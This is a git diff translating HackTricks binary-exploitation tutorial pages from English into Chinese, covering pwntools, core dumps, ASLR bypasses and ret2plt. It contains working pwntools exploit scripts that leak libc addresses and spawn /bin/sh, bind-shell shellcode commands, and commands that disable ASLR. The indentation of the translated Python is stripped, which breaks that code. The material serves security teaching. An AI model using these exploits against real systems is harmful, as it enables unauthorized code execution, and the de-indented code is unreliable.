sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## More +## 更多 -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> 地址(如果 ASLR,则每次都会改变)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 循环查看地址是否变化很大\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移量\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移量 -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> 可执行文件调用的函数\ +**rabin2 -i ejecutable -->** 所有函数的地址 ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary: +### 在远程 Linux 中调试 +在 IDA 文件夹中,您可以找到可以用于在 Linux 中调试二进制文件的二进制文件。要做到这一点,将二进制文件 `linux_server` 或 `linux_server64` 移动到 Linux 服务器中,并在包含该二进制文件的文件夹中运行它: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +然后,配置调试器:调试器(linux 远程) --> 进程选项...: ![](<../../../images/image (858).png>) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 6175aeaa2..2263cc1cd 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -1,120 +1,100 @@ # PwnTools {{#include ../../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - ## Pwn asm -Get **opcodes** from line or file. - +从行或文件中获取 **opcodes**。 ``` pwn asm "jmp esp" pwn asm -i ``` +**可以选择:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output +- 输出类型(raw, hex, string, elf) +- 输出文件上下文(16, 32, 64, linux, windows...) +- 避免字节(换行符、空值、列表) +- 选择编码器调试 shellcode 使用 gdb 运行输出 ## **Pwn checksec** -Checksec script - +Checksec 脚本 ``` pwn checksec ``` - ## Pwn constgrep ## Pwn cyclic -Get a pattern - +获取一个模式 ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**可以选择:** -**Can select:** +- 使用的字母表(默认小写字符) +- 唯一模式的长度(默认4) +- 上下文(16,32,64,linux,windows...) +- 偏移量(-l) -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) - -## Pwn debug - -Attach GDB to a process +## Pwn 调试 +将 GDB 附加到一个进程 ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**可以选择:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- 按可执行文件、名称或 pid 上下文(16,32,64,linux,windows...) +- 要执行的 gdbscript - sysrootpath -## Pwn disablenx - -Disable nx of a binary +## Pwn 禁用 nx +禁用二进制文件的 nx ``` pwn disablenx ``` - ## Pwn disasm -Disas hex opcodes - +反汇编十六进制操作码 ``` pwn disasm ffe4 ``` +**可以选择:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- 上下文 (16,32,64,linux,windows...) +- 基地址 +- 颜色(默认)/无颜色 ## Pwn elfdiff -Print differences between 2 files - +打印两个文件之间的差异 ``` pwn elfdiff ``` - ## Pwn hex -Get hexadecimal representation - +获取十六进制表示 ```bash pwn hex hola #Get hex of "hola" ascii ``` - ## Pwn phd -Get hexdump - +获取 hexdump ``` pwn phd ``` +**可以选择:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- 显示的字节数 +- 每行高亮字节的字节数 +- 跳过开头的字节 ## Pwn pwnstrip @@ -122,8 +102,7 @@ pwn phd ## Pwn shellcraft -Get shellcodes - +获取 shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**可以选择:** -**Can select:** +- shellcode 和 shellcode 的参数 +- 输出文件 +- 输出格式 +- 调试(将 dbg 附加到 shellcode) +- 之前(在代码之前调试陷阱) +- 之后 +- 避免使用操作码(默认:不为 null 和新行) +- 运行 shellcode +- 有色/无色 +- 列出系统调用 +- 列出可能的 shellcodes +- 生成 ELF 作为共享库 -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -## Pwn template - -Get a python template +## Pwn 模板 +获取一个 python 模板 ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**可以选择:** 主机,端口,用户,密码,路径和静默 ## Pwn unhex -From hex to string - +从十六进制到字符串 ``` pwn unhex 686f6c61 ``` +## Pwn 更新 -## Pwn update - -To update pwntools - +要更新 pwntools ``` pwn update ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md index 47681ba71..b28330b89 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,35 +1,29 @@ -# Common Binary Exploitation Protections & Bypasses +# 常见的二进制利用保护与绕过 {{#include ../../banners/hacktricks-training.md}} -## Enable Core files +## 启用核心文件 -**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. +**核心文件**是操作系统在进程崩溃时生成的一种文件。这些文件捕获崩溃进程在终止时的内存映像,包括进程的内存、寄存器和程序计数器状态等细节。这个快照对于调试和理解崩溃原因非常有价值。 -### **Enabling Core Dump Generation** +### **启用核心转储生成** -By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. - -- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions. +默认情况下,许多系统将核心文件的大小限制为0(即不生成核心文件),以节省磁盘空间。要启用核心文件的生成,可以使用**`ulimit`**命令(在bash或类似的shell中)或配置系统范围的设置。 +- **使用ulimit**:命令`ulimit -c unlimited`允许当前shell会话创建无限大小的核心文件。这对于调试会话非常有用,但在重启或新会话中不会持久化。 ```bash ulimit -c unlimited ``` - -- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions. - +- **持久配置**: 对于更永久的解决方案,您可以编辑 `/etc/security/limits.conf` 文件,添加一行 `* soft core unlimited`,这允许所有用户生成无限大小的核心文件,而无需在他们的会话中手动设置 ulimit。 ```markdown - soft core unlimited ``` +### **使用 GDB 分析核心文件** -### **Analyzing Core Files with GDB** - -To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with: - +要分析核心文件,您可以使用调试工具,如 GDB(GNU 调试器)。假设您有一个生成核心转储的可执行文件,并且核心文件名为 `core_file`,您可以通过以下命令开始分析: ```bash gdb /path/to/executable /path/to/core_file ``` - -This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash. +此命令将可执行文件和核心文件加载到 GDB 中,使您能够检查程序崩溃时的状态。您可以使用 GDB 命令来探索堆栈、检查变量并了解崩溃的原因。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index e33c7a3be..9d79e94dd 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -2,107 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. +**地址空间布局随机化 (ASLR)** 是一种在操作系统中使用的安全技术,用于 **随机化系统和应用程序进程使用的内存地址**。通过这样做,它使攻击者预测特定进程和数据(如堆栈、堆和库)的位置变得更加困难,从而减轻某些类型的攻击,特别是缓冲区溢出。 -### **Checking ASLR Status** +### **检查 ASLR 状态** -To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: +要 **检查** Linux 系统上的 ASLR 状态,可以从 **`/proc/sys/kernel/randomize_va_space`** 文件中读取值。存储在此文件中的值决定了应用的 ASLR 类型: -- **0**: No randomization. Everything is static. -- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. -- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - -You can check the ASLR status with the following command: +- **0**:没有随机化。一切都是静态的。 +- **1**:保守随机化。共享库、堆栈、mmap()、VDSO 页面被随机化。 +- **2**:完全随机化。除了保守随机化随机化的元素外,通过 `brk()` 管理的内存也被随机化。 +您可以使用以下命令检查 ASLR 状态: ```bash cat /proc/sys/kernel/randomize_va_space ``` +### **禁用 ASLR** -### **Disabling ASLR** - -To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it: - +要 **禁用** ASLR,您需要将 `/proc/sys/kernel/randomize_va_space` 的值设置为 **0**。在测试或调试场景之外,通常不建议禁用 ASLR。以下是禁用它的方法: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` - -You can also disable ASLR for an execution with: - +您还可以通过以下方式禁用 ASLR: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` +### **启用 ASLR** -### **Enabling ASLR** - -To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command: - +要**启用** ASLR,您可以将值 **2** 写入 `/proc/sys/kernel/randomize_va_space` 文件。这通常需要 root 权限。可以使用以下命令启用完全随机化: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### **重启后的持久性** -### **Persistence Across Reboots** - -Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line: - +使用 `echo` 命令所做的更改是临时的,并将在重启时重置。要使更改持久化,您需要编辑 `/etc/sysctl.conf` 文件并添加或修改以下行: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` - -After editing `/etc/sysctl.conf`, apply the changes with: - +在编辑 `/etc/sysctl.conf` 后,使用以下命令应用更改: ```bash sudo sysctl -p ``` +这将确保您的 ASLR 设置在重启后保持不变。 -This will ensure that your ASLR settings remain across reboots. +## **绕过** -## **Bypasses** +### 32位暴力破解 -### 32bit brute-forcing +PaX 将进程地址空间分为 **3 组**: -PaX divides the process address space into **3 groups**: +- **代码和数据**(已初始化和未初始化):`.text`、`.data` 和 `.bss` —> `delta_exec` 变量中的 **16 位** 熵。该变量在每个进程中随机初始化,并添加到初始地址。 +- **通过 `mmap()` 分配的内存** 和 **共享库** —> **16 位**,称为 `delta_mmap`。 +- **栈** —> **24 位**,称为 `delta_stack`。然而,它实际上使用 **11 位**(从第 10 字节到第 20 字节,包括),对齐到 **16 字节** —> 这导致 **524,288 个可能的真实栈地址**。 -- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. -- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`. -- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**. +前面的数据适用于 32 位系统,减少的最终熵使得通过一次又一次重试执行来绕过 ASLR 成为可能,直到利用成功完成。 -The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. - -#### Brute-force ideas: - -- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**. - - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**. -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +#### 暴力破解思路: +- 如果您有足够大的溢出以容纳 **大 NOP sled 在 shellcode 之前**,您可以在栈中暴力破解地址,直到流程 **跳过 NOP sled 的某部分**。 +- 如果溢出不大,并且利用可以在本地运行,另一种选择是 **在环境变量中添加 NOP sled 和 shellcode**。 +- 如果利用是本地的,您可以尝试暴力破解 libc 的基地址(对 32 位系统有用): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- 如果攻击远程服务器,您可以尝试**暴力破解`libc`函数`usleep`的地址**,传递参数10(例如)。如果在某个时刻**服务器响应多了10秒**,您就找到了这个函数的地址。 > [!TIP] -> In 64bit systems the entropy is much higher and this shouldn't possible. +> 在64位系统中,熵要高得多,这种情况不应该发生。 -### 64 bits stack brute-forcing - -It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\ -The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**: +### 64位栈暴力破解 +可以用环境变量占用栈的大部分,然后尝试在本地数百/数千次滥用该二进制文件进行利用。\ +以下代码展示了如何**仅选择栈中的一个地址**,并且每**几百次执行**后,该地址将包含**NOP指令**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { - unsigned long long address = 0xffffff1e7e38; - unsigned int* ptr = (unsigned int*)address; - unsigned int value = *ptr; - printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); - return 0; +unsigned long long address = 0xffffff1e7e38; +unsigned int* ptr = (unsigned int*)address; +unsigned int value = *ptr; +printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); +return 0; } ``` @@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { - 'a': shellcode_env_var, - 'b': shellcode_env_var, - 'c': shellcode_env_var, - 'd': shellcode_env_var, - 'e': shellcode_env_var, - 'f': shellcode_env_var, - 'g': shellcode_env_var, - 'h': shellcode_env_var, - 'i': shellcode_env_var, - 'j': shellcode_env_var, - 'k': shellcode_env_var, - 'l': shellcode_env_var, - 'm': shellcode_env_var, - 'n': shellcode_env_var, - 'o': shellcode_env_var, - 'p': shellcode_env_var, +'a': shellcode_env_var, +'b': shellcode_env_var, +'c': shellcode_env_var, +'d': shellcode_env_var, +'e': shellcode_env_var, +'f': shellcode_env_var, +'g': shellcode_env_var, +'h': shellcode_env_var, +'i': shellcode_env_var, +'j': shellcode_env_var, +'k': shellcode_env_var, +'l': shellcode_env_var, +'m': shellcode_env_var, +'n': shellcode_env_var, +'o': shellcode_env_var, +'p': shellcode_env_var, } cont = 0 while True: - cont += 1 +cont += 1 - if cont % 10000 == 0: - break +if cont % 10000 == 0: +break - print(cont, end="\r") - # Define the path to your binary - binary_path = './aslr-testing' +print(cont, end="\r") +# Define the path to your binary +binary_path = './aslr-testing' - try: - process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) - output = process.communicate()[0] - if "0xd5" in str(output): - print(str(cont) + " -> " + output) - except Exception as e: - print(e) - print(traceback.format_exc()) - pass +try: +process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) +output = process.communicate()[0] +if "0xd5" in str(output): +print(str(cont) + " -> " + output) +except Exception as e: +print(e) +print(traceback.format_exc()) +pass ``` -
-### Local Information (`/proc/[pid]/stat`) +### 本地信息 (`/proc/[pid]/stat`) -The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: +进程的文件 **`/proc/[pid]/stat`** 始终对所有人可读,并且 **包含有趣的** 信息,例如: -- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary -- **startstack**: The address of the start of the **stack** -- **start_data** & **end_data**: Addresses above and below where the **BSS** is -- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses -- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. -- **env_start** &**env_end**: Addresses above and below where **env variables** are. +- **startcode** & **endcode**: 二进制文件的 **TEXT** 上下的地址 +- **startstack**: **stack** 开始的地址 +- **start_data** & **end_data**: **BSS** 上下的地址 +- **kstkesp** & **kstkeip**: 当前的 **ESP** 和 **EIP** 地址 +- **arg_start** & **arg_end**: **cli arguments** 上下的地址 +- **env_start** &**env_end**: **env variables** 上下的地址 -Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. +因此,如果攻击者与被利用的二进制文件在同一台计算机上,并且该二进制文件不期望来自原始参数的溢出,而是来自读取此文件后可以构造的不同 **输入**。攻击者可以 **从此文件中获取一些地址并从中构造偏移量以进行利用**。 > [!TIP] -> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` +> 有关此文件的更多信息,请查看 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html),搜索 `/proc/pid/stat` -### Having a leak +### 拥有一个泄漏 -- **The challenge is giving a leak** - -If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details): +- **挑战在于提供一个泄漏** +如果你得到了一个泄漏(简单的 CTF 挑战),你可以从中计算偏移量(假设例如你知道你正在利用的系统中使用的确切 libc 版本)。这个示例利用提取自 [**这里的示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)(查看该页面以获取更多详细信息): ```python from pwn import * @@ -195,29 +178,27 @@ libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - 0x0, # return address - next(libc.search(b'/bin/sh')) +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - - **ret2plt** -Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: +通过利用缓冲区溢出,可以利用 **ret2plt** 来提取 libc 中一个函数的地址。检查: {{#ref}} ret2plt.md {{#endref}} -- **Format Strings Arbitrary Read** - -Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): +- **格式字符串任意读取** +就像在 ret2plt 中一样,如果通过格式字符串漏洞有任意读取的能力,可以从 GOT 中提取 **libc 函数** 的地址。以下 [**示例来自这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` - -You can find more info about Format Strings arbitrary read in: +您可以在以下位置找到有关格式字符串任意读取的更多信息: {{#ref}} ../../format-strings/ @@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in: ### Ret2ret & Ret2pop -Try to bypass ASLR abusing addresses inside the stack: +尝试通过利用栈中的地址来绕过 ASLR: {{#ref}} ret2ret.md @@ -245,13 +225,12 @@ ret2ret.md ### vsyscall -The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ -However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) +**`vsyscall`** 机制通过允许某些系统调用在用户空间中执行来提高性能,尽管它们本质上是内核的一部分。**vsyscalls** 的关键优势在于它们的 **固定地址**,这些地址不受 **ASLR**(地址空间布局随机化)的影响。这种固定特性意味着攻击者不需要信息泄漏漏洞来确定它们的地址并在利用中使用它们。\ +然而,这里不会找到超级有趣的小工具(尽管例如可以获得 `ret;` 等效物) -(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) - -For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit. +(以下示例和代码来自 [**此写作**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) +例如,攻击者可能在利用中使用地址 `0xffffffffff600800`。虽然尝试直接跳转到 `ret` 指令可能会导致不稳定或在执行几个小工具后崩溃,但跳转到 **vsyscall** 部分提供的 `syscall` 开始可以证明是成功的。通过仔细放置一个 **ROP** 小工具,将执行引导到这个 **vsyscall** 地址,攻击者可以在不需要绕过 **ASLR** 的情况下实现代码执行。 ``` ef➤ vmmap Start End Offset Perm Path @@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 ``` - ### vDSO -Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: +因此,请注意,如果内核使用 CONFIG_COMPAT_VDSO 编译,则可能通过 **利用 vdso 绕过 ASLR**,因为 vdso 地址不会被随机化。有关更多信息,请查看: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index c0e55129b..29c539fed 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -2,40 +2,37 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. - -This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): +该技术的目标是**泄露来自PLT的函数地址**以绕过ASLR。这是因为,如果例如,你泄露了来自libc的函数`puts`的地址,你就可以**计算`libc`的基址**并计算偏移量以访问其他函数,如**`system`**。 +这可以通过`pwntools`有效载荷完成,例如([**来自这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python # 32-bit ret2plt payload = flat( - b'A' * padding, - elf.plt['puts'], - elf.symbols['main'], - elf.got['puts'] +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] ) # 64-bit payload = flat( - b'A' * padding, - POP_RDI, - elf.got['puts'] - elf.plt['puts'], - elf.symbols['main'] +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] ) ``` +注意如何 **`puts`**(使用来自 PLT 的地址)被调用,地址位于 GOT(全局偏移表)中的 `puts`。这是因为在 `puts` 打印 `puts` 的 GOT 条目时,这个 **条目将包含 `puts` 在内存中的确切地址**。 -Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. - -Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid). +还要注意如何在利用中使用 `main` 的地址,以便当 `puts` 结束其执行时,**二进制文件会再次调用 `main` 而不是退出**(因此泄露的地址将继续有效)。 > [!CAUTION] -> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. - -You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**: +> 注意,为了使这项工作,**二进制文件不能使用 PIE 编译**,或者您必须 **找到一个泄露以绕过 PIE**,以便知道 PLT、GOT 和 main 的地址。否则,您需要先绕过 PIE。 +您可以在 [**此处找到此绕过的完整示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。这是该 **示例** 的最终利用: ```python from pwn import * @@ -46,10 +43,10 @@ p = process() p.recvline() payload = flat( - 'A' * 32, - elf.plt['puts'], - elf.sym['main'], - elf.got['puts'] +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] ) p.sendline(payload) @@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - libc.sym['exit'], - next(libc.search(b'/bin/sh\x00')) +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` - -## Other examples & References +## 其他示例与参考 - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到 canary 的字节 0x00,然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 来调用 puts 以泄露 GOT 中 puts 的地址,然后再调用 `system('/bin/sh')` 的 ROP gadget。 - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 位,启用 ASLR,没有 canary,主函数中的堆栈溢出来自子函数。ROP gadget 调用 puts 以泄露 GOT 中 puts 的地址,然后调用一个 gadget。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index 19f39dac3..84178b53b 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -4,27 +4,27 @@ ## Ret2ret -The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. +这个技术的主要**目标**是尝试**通过滥用栈中现有指针来绕过 ASLR**。 -Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, 